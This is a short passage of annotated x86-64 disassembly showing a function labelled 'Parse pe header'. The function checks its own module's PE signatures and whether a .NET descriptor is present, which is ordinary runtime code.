mov eax, edi
pop r10
ret 0x20
Function at 0x140002fa0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002fea
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002fea
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002fea
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002fea
cmp dword [rcx + 0x84], 0xe
jbe 0x140002fea
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002fec
xor al, al
add rsp, 0x28
ret